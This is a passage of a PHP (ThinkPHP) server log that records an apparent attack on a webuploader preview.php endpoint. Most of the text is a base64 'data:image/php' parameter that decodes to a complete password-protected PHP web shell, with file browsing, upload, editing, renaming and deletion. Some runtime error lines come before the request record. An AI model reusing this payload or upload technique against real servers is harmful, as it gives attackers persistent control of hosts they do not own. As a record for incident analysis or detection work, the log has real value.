vcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugin' => 'ueditor', 0 => 'ueditor.config.js', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:56+08:00 ] 119.42.146.234 POST 59.110.137.245/library/webuploader/0.1.5/server/preview.php [运行时间:0.002998s] [吞吐率:333.57req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'library', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuIC